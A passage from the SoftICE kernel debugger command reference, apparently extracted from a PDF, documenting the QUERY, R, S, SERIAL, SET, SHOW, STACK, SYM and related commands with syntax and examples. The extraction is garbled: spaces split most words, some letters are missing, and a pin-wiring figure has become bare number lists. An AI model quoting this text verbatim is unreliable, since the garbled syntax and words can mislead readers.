The f ol l owi ng exampl e uses t he QUERY command wi t h no par amet er s t o di spl ay a
par t i al
l i st i ng of t he map f or t he cur r ent pr ocess, GDI DEMO:
. : QUERY

The f ol l owi ng exampl e shows ever y cont ext wher e base addr ess 416000 i s val i d:
. : QUERY - x 416000

Base Al l ocBase Al l ocPr ot Si ze St at e Pr ot ect Owner
0 0 0 400000 Fr ee NA
400000 400000 1 7000 Commi t RO GDI DEMO
407000 400000 1 2000 Commi t RWGDI DEMO
409000 400000 1 2000 Commi t RO GDI DEMO
40B000 400000 1 5000 Reser ve NA GDI DEMO
410000 410000 1 1000 Commi t RWHeap 32
411000 410000 1 FF000 Reser ve NA Heap 32
510000 410000 1 1000 Commi t RWHeap 32
511000 410000 1 F000 Reser ve NA Heap 32
520000 520000 4 1000 Commi t RW
521000 520000 4 F000 Reser ve NA
Base Al l ocBase Al l ocPr ot Si ze St at e Pr ot ect Owner Cont ext
416000 400000 1 F1000 Reser ve NA KERNEL32
416000 400000 1 E9000 Reser ve NA Heap 32 MSGSRV32
416000 400000 1 D000 Commi t RO EXPLORER Expl or er
416000 410000 1 F9000 Reser ve NA Heap 32 WI NFI LE
416000 400000 1 2000 Commi t RO CONSOLE Consol e
416000 400000 1 E9000 Reser ve NA Heap 32 WI NOLDAP
416000 410000 0 EA000 Fr ee NA Mpr exe
416000 410000 1 FA000 Reser ve NA Heap 32 Spool 32

The f ol l owi ng exampl e shows a par t i al l i st i ng of t he vi r t ual addr ess map f or
Expl or er :
. : QUERY EXPLORER

Wi ndows NT
Pagina 746 di 991
The f ol l owi ng exampl e uses t he QUERY command t o map a speci f i c l i near addr ess
f or
Wi ndows NT:
. : QUERY 7f 2d0123

Base Al l ocBase Al l ocPr ot Si ze St at e Pr ot ect Owner
0 0 0 400000 Fr ee NA
400000 400000 1 23000 Commi t RO EXPLORER
423000 400000 1 1000 Commi t RWEXPLORER
424000 400000 1 11000 Commi t RO EXPLORER
435000 400000 1 B000 Reser ve NA EXPLORER
440000 440000 1 9000 Commi t RWHeap32
449000 440000 1 F7000 Reser ve NA Heap32
540000 440000 1 1000 Commi t RWHeap32
541000 440000 1 F000 Reser ve NA Heap32
550000 550000 4 1000 Commi t RW
551000 550000 4 F000 Reser ve NA
560000 560000 1 106000 Reser ve NA
Cont ext Addr ess Range Fl ags MMCI PTE Name
csr ss 7F2D0000- 7F5CFFFF 06000000 FD8AC128 E1191068 Heap #07

The f ol l owi ng exampl e uses t he QUERY command t o l i st t he addr ess map of t he
PROGMAN pr ocess f or Wi ndows NT:
. : QUERY pr ogman
. : quer y pr ogman
Addr ess Range Fl ags MMCI PTE Name
00010000- 00010FFF C4000001
00020000- 00020FFF C4000001
00030000- 0012FFFF 84000004 STACK( 6E)
00130000- 00130FFF C4000001
00140000- 0023FFFF 8400002D Heap #01
00240000- 0024FFFF 04000000 FF0960C8 E1249948 Heap #02
00250000- 00258FFF 01800000 FF0E8088 E11B9068 uni code. nl s
00260000- 0026DFFF 01800000 FF0E7F68 E11BBD88 l ocal e. nl s
00270000- 002B0FFF 01800000 FF0E7C68 E11B6688 sor t key. nl s
002C0000- 002C0FFF 01800000 FF0E7AE8 E11BBA08 sor t t bl s. nl s
002D0000- 002DFFFF 04000000 FF09F3C8 E1249E88
002E0000- 0035FFFF 84000001
00360000- 00360FFF C4000001
00370000- 0046FFFF 84000003 STACK( 2E)
00470000- 0047FFFF 04000000 FF0DF4E8 E124AAA8
00480000- 00481FFF 01800000 FF0E7DE8 E110C6E8 ct ype. nl s
01A00000- 01A30FFF 07300005 FF097AC8 E1246448 pr ogman. exe
77DE0000- 77DEFFFF 07300003 FF0FC008 E1108928 shel l 32. dl l
77E20000- 77E4BFFF 07300007 FF0FBA08 E1110A08 advapi 32. dl l
77E50000- 77E54FFF 07300002 FF0FADC8 E1103EE8 r pcl t c1. dl l
77E60000- 77E9BFFF 07300003 FF0FB728 E1110C48 r pcr t 4. dl l
77EA0000- 77ED7FFF 07300003 FF0FCE08 E11048C8 user 32. dl l
77EE0000- 77F12FFF 07300002 FF0FD868 E110F608 gdi 32. dl l
77F20000- 77F73FFF 07300003 FF0EE1A8 E110C768 ker nel 32. dl l
77F80000- 77FCDFFF 07300005 FF0FDB48 E1101068 nt dl l . dl l
7F2D0000- 7F5CFFFF 03400000 FF0E2C08 E11C3068 Heap #05
7F5F0000- 7F7EFFFF 03400000 FF0E8EA8 E11B77E8
7FF70000- 7FFAFFFF 84000001
7FFB0000- 7FFD3FFF 01600000 FF116288 E1000188 Ansi Code Page
7FFDD000- 7FFDDFFF C4000001 TI B( 2E)
7FFDE000- 7FFDEFFF C4000001 TI B( 6E)
7FFDF000- 7FFDFFFF C4000001 SubSyst emPr ocess


: R
^R Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Di spl ay/ ChangeMemor y
^Di spl ay or change t he r egi st er val ues.
Pagina 747 di 991

%Synt ax
For Wi ndows 3. 1
R [ r egi st er - name [ [ =] val ue] ]

For Wi ndows 95 and Wi ndows NT
R [ - d | r egi st er - name | r egi st er - name [ =] val ue]

r egi st er - name Any of t he f ol l owi ng: AL, AH, AX, EAX, BL, BH, BX, EBX, CL,
CH, CX, ECX, DL, DH, DX, EDX, DI , EDI , SI , ESI , BP, EBP, SP,
ESP, I P, EI P, FL, DS, ES, SS, CS FS, GS.
val ue I f r egi st er - name i s any name ot her t han FL, t he val ue i s a hexadeci mal
val ue or an expr essi on. I f r egi st er - name i s FL, t he val ue i s a ser i es of
one or mor e of t he f ol l owi ng f l ag symbol s, each opt i onal l y pr eceded
by a pl us or mi nus si gn:
. O ( Over f l ow f l ag)
. D ( Di r ect i on f l ag)
. I ( I nt er r upt f l ag)
. S ( Si gn f l ag)
. Z ( Zer o f l ag)
. A ( Auxi l i ar y car r y f l ag)
. P ( Par i t y f l ag)
. C ( Car r y f l ag)
- d Di spl ays t he r egi st er s i n t he Command wi ndow.

%Use
I f no par amet er s ar e suppl i ed, t he cur sor moves up t o t he Regi st er wi ndow, and
t he r egi st er s
can be edi t ed i n pl ace. I f t he Regi st er wi ndow i s not cur r ent l y vi si bl e, i t i s
made vi si bl e. I f
r egi st er - name i s suppl i ed wi t hout a val ue, t he cur sor moves up t o t he Regi st er
wi ndow
posi t i oned at t he begi nni ng of t he appr opr i at e r egi st er f i el d.

I f bot h r egi st er - name and val ue ar e suppl i ed, t he speci f i ed r egi st er ' s cont ent s
ar e changed t o
t he val ue.

To change a f l ag val ue, use FL as t he r egi st er - name, f ol l owed by t he symbol s of
t he f l ag whose
val ues you want t o t oggl e. To t ur n a f l ag on, pr ecede t he f l ag symbol wi t h a
pl us si gn. To t ur n
a f l ag of f , pr ecede t he f l ag symbol wi t h a mi nus si gn. I f nei t her a pl us or
negat i ve si gn i s
speci f i ed, t he f l ag val ue wi l l t oggl e f r omi t s cur r ent st at e. The f l ags can be
l i st ed i n any or der .

%Exampl e
Thi s exampl e set s t he AH r egi st er equal t o 5.
R ah=5

Thi s exampl e t oggl es t he O, Z, and P f l ag val ues.
R f l =ozp

Thi s exampl e moves t he cur sor i nt o t he Regi st er wi ndow posi t i on under t he f i r st
f l ag f i el d.
R f l

Thi s exampl e t oggl es t he O f l ag val ue, t ur ns on t he A f l ag val ue, and t ur ns of f
t he C f l ag val ue.
R f l =o+a- c


Pagina 748 di 991
: RS
^RS WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT WI NDOWCONTROL
^F4
^Rest or e t he pr ogr amscr een.

%Synt ax
RS

%Use
The RS command al l ows you t o r est or e t he pr ogr amscr een t empor ar i l y.

Thi s f eat ur e i s usef ul when debuggi ng pr ogr ams t hat updat e t he scr een
f r equent l y. Use t he RS
command t o r edi spl ay your pr ogr amscr een. To r et ur n t o t he Sof t I CE scr een,
pr ess any key.


: S
^S Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Mi scel l aneous
^Sear ch memor y f or dat a.

%Synt ax
For Wi ndows 3. 1
S [ addr ess L l engt h dat a- l i st ]

For Wi ndows 95 and Wi ndows NT
S [ - cu] [ addr ess L l engt h dat a- l i st ]

addr ess St ar t i ng addr ess f or sear ch.
l engt h Lengt h i n byt es.
dat a- l i st Li st of byt es or quot ed st r i ngs separ at ed by commas or spaces. A
quot ed st r i ng can be encl osed wi t h si ngl e or doubl e quot es.
- c Make sear ch case- i nsensi t i ve.
- u Sear ch f or Uni code st r i ng.

%Use
Memor y i s sear ched f or a ser i es of byt es or char act er s t hat mat ches t he dat a-
l i st . The sear ch
begi ns at t he speci f i ed addr ess and cont i nues f or t he l engt h speci f i ed. When a
mat ch i s f ound,
t he memor y at t hat addr ess i s di spl ayed i n t he Dat a wi ndow. and t he f ol l owi ng
message i s
di spl ayed i n t he Command wi ndow.
PATTERN FOUND AT l ocat i on

I f t he Dat a wi ndow i s not vi si bl e, i t i s made vi si bl e.
To sear ch f or subsequent occur r ences of t he dat a- l i st , use t he S command wi t h
no par amet er s.
The sear ch wi l l cont i nue f r omt he addr ess wher e t he dat a- l i st was l ast f ound,
unt i l i t f i nds
anot her occur r ence of dat a- l i st or t he l engt h i s exhaust ed.

The S command i gnor es pages t hat ar e mar ked not pr esent . Thi s makes i t possi bl e
t o sear ch
l ar ge ar eas of addr ess space usi ng t he f l at dat a sel ect or ( Wi ndows 3. 1/ Wi ndows
95: 30h,
Wi ndows NT: 10h) .

%Exampl e
Thi s exampl e sear ches f or t he st r i ng ' Hel l o' f ol l owed by t he byt es 12h and 34h
st ar t i ng at
of f set ES: DI +10 f or a l engt h of ECX byt es.
S es: di +10 L ecx ' Hel l o' , 12, 34
Pagina 749 di 991

Thi s exampl e sear ches t he ent i r e 4GB vi r t ual addr ess r ange f or ' st r i ng' .
S 30: 0 L f f f f f f f f ' st r i ng'


: SERI AL
^SERI AL Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Cust omi zat i on
^Redi r ect consol e t o ser i al t er mi nal .

%Synt ax
SERI AL [ on [ com- por t ] [ baud- r at e] | of f ]

com- por t Number f r om1 t o 4 t hat cor r esponds t o COM1, COM2, COM3 or
COM4. Def aul t i s COM1.
baud- r at e Baud- r at e t o use f or ser i al communi cat i ons. The def aul t i s t o have
Sof t I CE aut omat i cal l y det er mi ne t he f ast est possi bl e baud- r at e t hat
can be used. The r at es ar e 1200, 2400, 4800, 9600, 19200, 23040,
28800, 38400, 57000, 115000.

%Use
Use t he SERI AL command t o est abl i sh a r emot e debuggi ng sessi on t hr ough a ser i al
por t ( r ef er
t o DI AL on page 67 f or est abl i shi ng r emot e sessi ons over a modem) . Remot e
debuggi ng
r equi r es a second I BM- compat i bl e PC r unni ng MSDOS. The machi ne bei ng debugged
i s
known as t he l ocal machi ne, and t he machi ne wher e Sof t I CE i s bei ng cont r ol l ed
r emot el y i s
known as t he r emot e machi ne.

To use t he SERI AL command, t he r emot e and l ocal machi nes must be connect ed wi t h
a nul l
modemcabl e, wi t h wi r i ng as shown i n t he f ol l owi ng f i gur e, at t ached t hr ough
ser i al por t s.
Bef or e usi ng t he SERI AL command on t he l ocal machi ne, you must f i r st r un t he
SERI AL. EXE pr ogr amon t he r emot e machi ne.

The synt ax f or t he SERI AL. EXE pr ogr ami s t he same as t he synt ax of t he SERI AL
command,
so t he f ol l owi ng i nf or mat i on i s appl i cabl e t o bot h.

The SERI AL command has t wo opt i onal par amet er s. The f i r st par amet er speci f i es
t he com-
por t t hr ough whi ch t he connect i on wi l l be made ( on t he machi ne wher e t he
command i s
ent er ed) . I f no com- por t i s speci f i ed, com- por t 1 ( COM1) i s chosen by def aul t .
The second
par amet er speci f i es a baud- r at e. I f a baud- r at e i s speci f i ed, t he same baud-
r at e must be
expl i ci t l y speci f i ed on bot h si des of t he connect i on. I f no baud- r at e i s
speci f i ed, Sof t I CE wi l l
at t empt t o det er mi ne t he f ast est baud- r at e t hat can be used over t he connect i on
wi t hout dat a
l oss. The pr ocess of ar r i vi ng at t he maxi mumr at e can t ake a f ew seconds,
dur i ng whi ch
Sof t I CE pr i nt s t he r at es i t i s checki ng. Af t er t he maxi mumr at e i s det er mi ned,
Sof t I CE
i ndi cat es t he r esul t .

When a connect i on i s est abl i shed bet ween a r emot e machi ne and a l ocal machi ne,
t he user of
t he r emot e machi ne i s pr esent ed wi t h t he same Sof t I CE i nt er f ace t hey woul d see
i f t hey wer e
Pagina 750 di 991
debuggi ng on t he l ocal machi ne. The di spl ay on t he l ocal machi ne i s r est or ed t o
t he Wi ndows
scr een whi l e t he connect i on i s mai nt ai ned.

Ct r l D i s al ways t he pop- up hot key sequence on t he r emot e machi ne. Sof t I CE can
al so be
popped up f r omt he l ocal machi ne wi t h t he l ocal machi ne' s pop- up hot key
sequence ( whi ch
may have been set vi a t he ALTKEY command) .

I f t he r emot e machi ne has a monochr ome di spl ay, t he COLOR command can be used
t o
make Sof t I CE' s out put mor e r eadabl e.

I f f or any r eason dat a i s l ost over t he connect i on and Sof t I CE out put on t he
r emot e machi ne
becomes cor r upt ed, Shi f t \ ( backsl ash) can be t yped on t he r emot e machi ne t o
f or ce a r epai nt
of t he Sof t I CE scr een.

Speci f yi ng SERI AL OFF wi l l end t he r emot e debuggi ng sessi on and Sof t I CE wi l l
r esume
usi ng t he l ocal machi ne f or I / O. SERI AL wi t h no par amet er s wi l l di spl ay t he
cur r ent ser i al
st at e and t he com- por t and baud- r at e bei ng used i f SERI AL i s ON.
Usi ng Ct r l - Z wi l l exi t t he SERI AL. EXE pr ogr amon t he r emot e machi ne af t er a
r emot e
debuggi ng sessi on i s compl et e.

I f you pl ace t he SERI AL command i n t he Sof t I CE i ni t i al i zat i on st r i ng set t i ng,
SERI AL. EXE
must be r unni ng on t he r emot e machi ne bef or e Sof t I CE i s st ar t ed on t he l ocal
machi ne.
Pi ns
2
3
4
5
6
7
8
20
Pi ns
2
3
4
5
6
7
8
20
25- Pi n Nul l - ModemConf i gur at i on
Pi ns
2
3
5
7
8
6
1
4
Pi ns
2
Pagina 751 di 991
3
5
7
8
6
1
4
9- Pi n Nul l - ModemConf i gur at i on

For Wi ndows 3. 1
Pr i or t o usi ng t he SERI AL command, you must pl ace t he COMn keywor d on a
separ at e l i ne
i n t he WI NI CE. DAT f i l e t o r eser ve a speci f i c COM por t f or t he ser i al
connect i on. The n i s a
number bet ween 1 and 4 r epr esent i ng t he COM por t . I f t hi s st at ement i s not
pr esent i n
WI NI CE. DAT, Sof t I CE cannot be popped up f r omt he r emot e machi ne. To set Com2
as t he
ser i al post , use:
Com2

For Wi ndows 95
Sel ect t he desi r ed compor t i n t he r emot e debuggi ng i ni t i al i zat i on set t i ngs
wi t hi n Symbol
Loader .

%Exampl e
On t he r emot e machi ne:
SERI AL. EXE on 19200
On t he l ocal machi ne:
SERI AL on 2 19200

When t he f i r st command i s execut ed, t he r emot e machi ne wi l l be pr epar ed t o
r ecei ve a
connect i on r equest f r omt he l ocal machi ne on i t s f i r st com- por t at 19200bps.
The second
command est abl i shes a connect i on bet ween t he t wo machi nes t hr ough t he l ocal
machi ne' s
second com- por t . Si nce t he f i r st command expl i ci t l y speci f i ed a baud r at e, t he
SERI AL
command on t he l ocal machi ne must expl i ci t l y speci f y t he same baud r at e of
19200bps.
Once t he connect i on i s est abl i shed, t he r emot e machi ne wi l l ser ve as t he
Sof t I CE i nt er f ace f or
debuggi ng t he l ocal machi ne unt i l SERI AL of f i s ent er ed on t he r emot e machi ne.
See Al so Chapt er 7, ``Debuggi ng Remot el y, ' ' i n t he Usi ng Sof t I CE manual .


: SET
^SET Wi ndows 95 and Wi ndows NT ModeCont r ol
^Di spl ay or change t he st at e of an i nt er nal var i abl e.

%Synt ax
SET [ keywor d] [ on | of f ] [ val ue]

%Use
Use t he SET command t o di spl ay or change t he st at e of i nt er nal Sof t I CE
var i abl es.
I f you speci f y SET wi t h a keywor d, ON or OFF enabl es or di sabl es t hat opt i on.
I f you speci f y
SET wi t h a keywor d and val ue, i t assi gns t he val ue t o t he keywor d. I f SET i s
f ol l owed by a
keywor d wi t h no addi t i onal par amet er s, i t di spl ays t he st at e of t he keywor d.
Pagina 752 di 991

Usi ng SET wi t hout par amet er s di spl ays t he st at e of al l keywor ds.

SET suppor t s t he f ol l owi ng keywor ds:
SET CASESENSI TI VE ON makes gl obal and l ocal symbol names case sensi t i ve. Ent er
t hem
exact l y as di spl ayed by t he SYM command.
ALTSCR [ on| of f ]
CASESENSI TI VE [ on| of f ]
CODE [ on| of f ]
EXCLUDE [ on| of f ]
FAULTS [ on| of f ]
FLASH [ on| of f ]
I 1HERE [ on| of f ]
I 3HERE [ on| of f ]
LOWERCASE [ on| of f ]
MOUSE [ on| of f ] [ 1| 2| 3]
PAUSE [ on| of f ]
SYMBOLS [ on| of f ]
TABS [ on| of f ] [ 1| 2| 3| 4| 5| 6| 7| 8]
THREADP [ on| of f ]
VERBOSE [ on| of f ]

SET MOUSE ON enabl es mouse suppor t and SET MOUSE OFF di sabl es i t . To adj ust t he
speed at whi ch t he mouse moves, use one of t he f ol l owi ng: 1 ( sl owest speed) ; 2
( i nt er medi at e
speed- - t hi s i s t he mouse def aul t . ) ; 3 ( f ast est speed) .
SET SYMBOLS ON i nst r uct s t he di sassembl er t o show t he symbol names i n
di sassembl ed
code. SET SYMBOLS OFF i nst r uct s t he di sassembl er t o show number s ( f or exampl e,
of f set s
and addr esses) . Thi s command appl i es t o bot h l ocal and gl obal symbol names.

%Exampl e
The f ol l owi ng exampl e enabl es Sof t I CE f aul t t r appi ng:
SET f aul t s on

The f ol l owi ng exampl e set s t he mouse t o t he f ast est speed:
SET mouse 3

: SHOW
^SHOWWI NDOWS 3. 1, WI NDOWS 95 SYMBOL/ SOURCE
^Ct r l - F11
^Di spl ay i nst r uct i ons f r omt he back t r ace hi st or y buf f er .

%Synt ax
SHOW[ B | st ar t ] [ l l engt h]

st ar t Hexadeci mal number speci f yi ng t he i ndex wi t hi n t he back t r ace
hi st or y buf f er t o st ar t di sassembl i ng f r om. An i ndex of 1 cor r esponds
t o t he newest i nst r uct i on i n t he buf f er .
l engt h Number of i nst r uct i ons t o di spl ay.

%Use
Use t he SHOWcommand t o di spl ay i nst r uct i ons f r omt he back t r ace hi st or y
buf f er . I f sour ce
i s avai l abl e f or t he i nst r uct i ons, t he di spl ay i s i n mi xed mode; ot her wi se,
onl y code i s
di spl ayed.

Al l i nst r uct i ons and sour ce ar e di spl ayed i n t he Command wi ndow. Each
i nst r uct i on i s
Pagina 753 di 991
pr eceded by i t s i ndex wi t hi n t he back t r ace hi st or y buf f er . The i nst r uct i on
whose i ndex i s 1 i s
t he newest i nst r uct i on i n t he buf f er . Once SHOWi s ent er ed, you can use t he Up
and Down
Ar r ow keys t o scr ol l t hr ough t he cont ent s of t he back t r ace hi st or y buf f er . To
exi t f r om
SHOW, pr ess t he Esc key.

SHOWwi t h no par amet er s or SHOWB wi l l begi n di spl ayi ng f r omt he back t r ace
hi st or y
buf f er st ar t i ng wi t h t he ol dest i nst r uct i on i n t he buf f er . SHOWf ol l owed by a
st ar t number
begi ns di spl ayi ng i nst r uct i ons st ar t i ng at t he speci f i ed i ndex wi t hi n t he back
t r ace hi st or y
buf f er .

You can use t he SHOWcommand onl y i f t he back t r ace hi st or y buf f er cont ai ns
i nst r uct i ons.
To f i l l t he back t r ace hi st or y buf f er , use t he BPR command wi t h ei t her t he T or
TW
par amet er t o speci f yi ng a r ange br eakpoi nt .

%Exampl e
Thi s command st ar t s di spl ayi ng i nst r uct i ons i n t he Command wi ndow, st ar t i ng at
t he ol dest
i nst r uct i on i n t he back t r ace hi st or y buf f er .
SHOWB


: SRC
^SRC WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT SYMBOL/ SOURCE
^F3
^Toggl e bet ween di spl ayi ng sour ce, mi xed, and code i n t he Code wi ndow.

%Synt ax
SRC

%Use
Use t he SRC command t o t oggl e among t he f ol l owi ng modes i n t he Code wi ndow:
our ce
mode, mi xed mode, and code mode.

Hi nt : Use F3 t o t oggl e modes qui ckl y.

%Exampl e
The f ol l owi ng exampl e changes t he cur r ent mode of t he Code wi ndow:
SRC

: SS
^SS Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Symbol / Sour ce
^ Sear ch t he cur r ent sour ce f i l e f or a st r i ng.

%Synt ax
SS [ l i ne- number ] [ ' st r i ng' ]
l i ne- number Deci mal number .
st r i ng Char act er st r i ng sur r ounded by quot es.

%Use
The SS command sear ches t he cur r ent sour ce f i l e f or t he speci f i ed char act er
t r i ng. I f t her e i s a
mat ch, t he l i ne t hat cont ai ns t he st r i ng i s di spl ayed as t he t op l i ne i n t he
ode wi ndow.
Pagina 754 di 991
The sear ch st ar t s at t he speci f i ed l i ne- number . I f no l i ne- number i s peci f i ed,
t he sear ch st ar t s
at t he t op l i ne di spl ayed i n t he Code wi ndow.

I f no par amet er s ar e speci f i ed, t he sear ch cont i nues f or t he pr evi ousl y
peci f i ed st r i ng.
The Code wi ndow must be vi si bl e and i n sour ce mode bef or e usi ng t he SS ommand.
To
make t he Code wi ndow vi si bl e, use t he WC command. To make t he Code wi ndow
i spl ay
sour ce, use t he SRC command.

%Exampl e
I n t he f ol l owi ng exampl e, t he cur r ent sour ce f i l e i s sear ched st ar t i ng at i ne 1
f or t he st r i ng ' i f
( i ==3) ' . The l i ne cont ai ni ng t he next occur r ence of t he st r i ng becomes t he op
l i ne di spl ayed
i n t he Code wi ndow.
SS 1 ' i f ( i ==3) '

: STACK
^STACK Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay a cal l st ack.

%Synt ax
For Wi ndows 3. 1 and Wi ndows 95
STACK [ t ask- name | SS: [ E] BP]

t ask- name Name of t he t ask as di spl ayed by t he TASK command.
SS: [ E] BP SS: [ E] BP of a val i d st ack f r ame.

For Wi ndows NT
STACK [ t hr ead- t ype | st ack f r ame]

t hr ead- t ype Thr ead handl e or t hr ead I D.
st ack f r ame Val ue t hat i s not a t hr ead- t ype i s i nt er pr et ed as a st ack f r ame.

%Use
Use t he STACK command t o di spl ay t he cal l st acks f or DOS pr ogr ams, Wi ndows
asks, and
32- bi t code.

I f you ent er STACK wi t h no par amet er s, t he cur r ent SS: [ E] BP i s used as a base
or t he st ack
f r ame di spl ayed. You can expl i ci t l y speci f y a st ack base wi t h a t ask- name or
base addr ess, and
under Wi ndows NT, wi t h a t hr ead i dent i f i er .

I f you ar e usi ng STACK t o di spl ay t he st ack of a Wi ndows t ask t hat i s not t he
cur r ent one,
speci f y ei t her i t s t ask- name or a val i d SS: [ E] BP st ack f r ame. You can use t he
TASK command
t o obt ai n a l i st of r unni ng t asks. However , you shoul d avoi d usi ng t he STACK
command
wi t h t he cur r ent t ask of t he TASK command' s out put ( mar ked wi t h an ' *' ) ,
because t he t ask' s
l ast known SS: [ E] BP i s no l onger val i d.

The STACK command wal ks t he st ack st ar t i ng at t he base by t r aver si ng x86 st ack
f r ames. I f
an i nval i d st ack f r ame or addr ess t hat has been paged out i s encount er ed dur i ng
t he wal k, t he
Pagina 755 di 991
t r aver sal wi l l st op. The addr ess of t he cal l i nst r uct i on at each f r ame i s
di spl ayed al ong wi t h t he
name of t he r out i ne i t i s i n, i f t he r out i ne i s f ound i n t he cur r ent symbol
t abl e. I f t he r out i ne
i s not i n t he symbol t abl e, t he expor t l i st and modul e name l i st ar e sear ched
f or near by
symbol s. I f st ack var i abl es ar e pr esent , t hey ar e di spl ayed as wel l .

The STACK command wor ks i n 32- bi t code, however , si nce 32- bi t symbol
i nf or mat i on
suppor t i s l i mi t ed t o t hat pr ovi ded i n . SYM f i l es, l ocal var i abl es cannot be
shown. For each
f r ame i n t he cal l st ack, bot h t he near est symbol t o t he cal l i nst r uct i on, and
t he act ual addr ess,
ar e di spl ayed. I f t her e i s no symbol avai l abl e, t he modul e name and
obj ect / sect i on name ar e
di spl ayed i nst ead.

The 32- bi t cal l st ack suppor t i s not l i mi t ed t o appl i cat i ons; i t wi l l al so wor k
f or VxDs and
Wi ndows NT devi ce dr i ver code at r i ng 0. Si nce many VxDs ar e wr i t t en i n
assembl y
l anguage, t her e may not be a val i d cal l st ack t o wal k f r oma VxD- st ack base
addr ess.
For Wi ndows 3. 1 and Wi ndows 95, t he cal l st ack i s not f ol l owed t hr ough t hunks
or r i ng
t r ansi t i ons, but under Wi ndows NT i t i s.

For Wi ndows 3. 1 and Wi ndows 95
I f you want Sof t I CE t o pop up when a non- act i ve t ask i s r est ar t ed, you can set
t he STACK
command wi t h t he t ask as a par amet er t o f i nd t he addr ess on whi ch t o set an
execut i on
br eakpoi nt . To do t hi s, ent er STACK f ol l owed by t he t ask- name. The bot t oml i ne
of t he cal l
st ack wi l l show an addr ess pr eceded by t he wor d ' at ' . Thi s i s t he addr ess of
t he CALL
i nst r uct i on t he pr ogr ammade t o Wi ndows t hat has not yet r et ur ned. You must set
an
execut i on br eakpoi nt at t he addr ess f ol l owi ng t hi s cal l .

You can al so use t hi s t echni que t o st op at ot her r out i nes hi gher on t he cal l
st ack. Thi s i s usef ul
when you do not want t o si ngl e st ep t hr ough l i br ar y code unt i l execut i on
r esumes i n your
pr ogr am' s code.

%Out put
Each ent r y of t he cal l st ack cont ai ns t he f ol l owi ng i nf or mat i on:
. Symbol name or modul e name i n whi ch t he r et ur n addr ess f al l s
. SS: [ E] BP val ue of t hi s ent r y
. Cal l i nst r uct i on' s sour ce l i ne number i f avai l abl e
. Addr ess of t he f i r st l i ne of t hi s r out i ne or t he name of t he r out i ne t hat was
cal l ed t o r each
t hi s r out i ne
I f st ack var i abl es ar e avai l abl e f or t hi s ent r y, t he f ol l owi ng i nf or mat i on
about each i s di spl ayed:
. SS: [ E] BP r el at i ve of f set
. St ack var i abl e name
. Dat a i n t he st ack var i abl e i f i t i s of t ype char , i nt , or l ong

%Exampl e
Pagina 756 di 991
Thi s i s t he out put of t he STACK command af t er a br eakpoi nt i s set i n t he
message handl er of
a Wi ndows pr ogr am.
. : STACK
__ast ar t at 0935: 1021 [ ?]
Wi nMai n at 0935: 0d76 [ 00750]
[ BP+000C] hI nst ance 0935
[ BP+000A] hPr ev 0000
[ BP+0006] l pszCmdLi ne
[ BP+0004] CmdShow
[ BP- 0002] wi dt h 00DD
[ BP- 0004] hWnd 00E5
USER! SENDMESSAGE+004F at 05CD: 06A7
USER( 01) at 0595: 04A0 [ ?] 0595: 048b
USER( 06) at 05BD: 1A83 [ ?]
=>Cl ockWndPr oc at 0935: 006F [ 0179]
[ BP+000E] hWnd 1954
[ BP+000C] message 0024
[ BP+000A] wPar am0000
[ BP+0006] l Par am06ED: 07A4
[ BP- 0022] ps 0000

Thi s i s an exampl e of t he STACK command i n 32- bi t mode. Execut i on has been
st opped
wi t hi n t he C l i br ar y DLL' s memset r out i ne:
. : STACK
W32SCOMB! Di spat chCB32+01FF at 2197: 86C5003B
UTSAMP! . t ext +01A4 at 2197: 86C211A4
_MyGet Fr eeSpace@0+0016 at 2197: 86C7113B
=> MSVCRT10! memset +0005 at 2197: 86C94F89

: SYM
^SYM Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Symbol / Sour ce
^Di spl ay or set symbol .

%Synt ax
SYM [ [ sect i on- name] ! ] symbol - name [ val ue] ]

sect i on- name Val i d sect i on- name. Al so can be a par t i al sect i on- name. Thi s
l al ows
di spl ayi ng symbol s i n a par t i cul ar sect i on. I f sect i on- name i s speci f i ed,
i t must be f ol l owed by an excl amat i on poi nt ( ! ) . For exampl e, you
coul d use t he command
SYM . TEXT! t o di spl ay al l symbol s i n t he . TEXT sect i on of t he
execut abl e.
! I f ``! ' ' i s t he onl y par amet er speci f i ed, t he modul es i n t hi s symbol t abl e
ar e l i st ed.
symbol - name Val i d symbol - name. The symbol - name can end wi t h an ast er i sk ( *) .
Thi s al l ows sear chi ng i f onl y t he f i r st par t of t he symbol - name i s
known. The comma ``, ' ' char act er can be used as a wi l dcar d char act er
i n pl ace of any char act er i n t he symbol - name.
val ue Val ue t hat i s used t o set a symbol t o a speci f i c addr ess.

%Use
Use t he SYM command t o di spl ay and set symbol addr esses. I f you ent er SYM
wi t hout
par amet er s, al l symbol s di spl ay. The addr ess of each symbol di spl ays next t o
t he symbol - name.
I f you speci f y a symbol - name wi t hout a val ue, t he symbol - name and i t s addr ess
di spl ay. I f t he
symbol - name i s not f ound, not hi ng di spl ays.

Pagina 757 di 991
I f sect i on- name! pr ecedes symbol - name or ast er i sk ( *) , onl y symbol s f r omt he
speci f i ed sect i on
ar e shown.

The SYM command i s of t en usef ul f or f i ndi ng a symbol when you can onl y r emember
a
por t i on of t he name. Two wi l dcar d met hods ar e avai l abl e f or l ocat i ng symbol s.
I f symbol -
name ends wi t h an ast er i sk ( *) , al l symbol s t hat mat ch t he act ual char act er s
t yped pr i or t o t he
ast er i sk di spl ay, r egar dl ess of t hei r endi ng char act er s. I f you use a comma ( , )
i n pl ace of a
speci f i c char act er i n symbol - name, t hat char act er i s a wi l d car d char act er .
I f you speci f y a val ue, t he addr ess of al l symbol s t hat mat ch symbol - name ar e
set t o t he val ue.
I f you pl ace an addr ess bet ween squar e br acket s as a par amet er t o t he SYM
command, t he
cl osest symbol above and bel ow t he addr ess di spl ay.

%Exampl e
Al l symbol s t hat st ar t wi t h FOO di spl ay.
SYM f oo*
Al l symbol s t hat st ar t wi t h FOO ar e gi ven t he addr ess 6000.
SYM f oo* 6000
Al l sect i ons f or t he cur r ent symbol t abl e di spl ay.
SYM !
Al l symbol s i n sect i on MAI N t hat st ar t wi t h FOO di spl ay.
SYM mai n! f oo*

: SYMLOC
^SYMLOC Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Symbol / Sour ce
^Rel ocat e t he symbol base.

%Synt ax
For Wi ndows 3. 1
SYMLOC [ segment - addr ess | o | r |
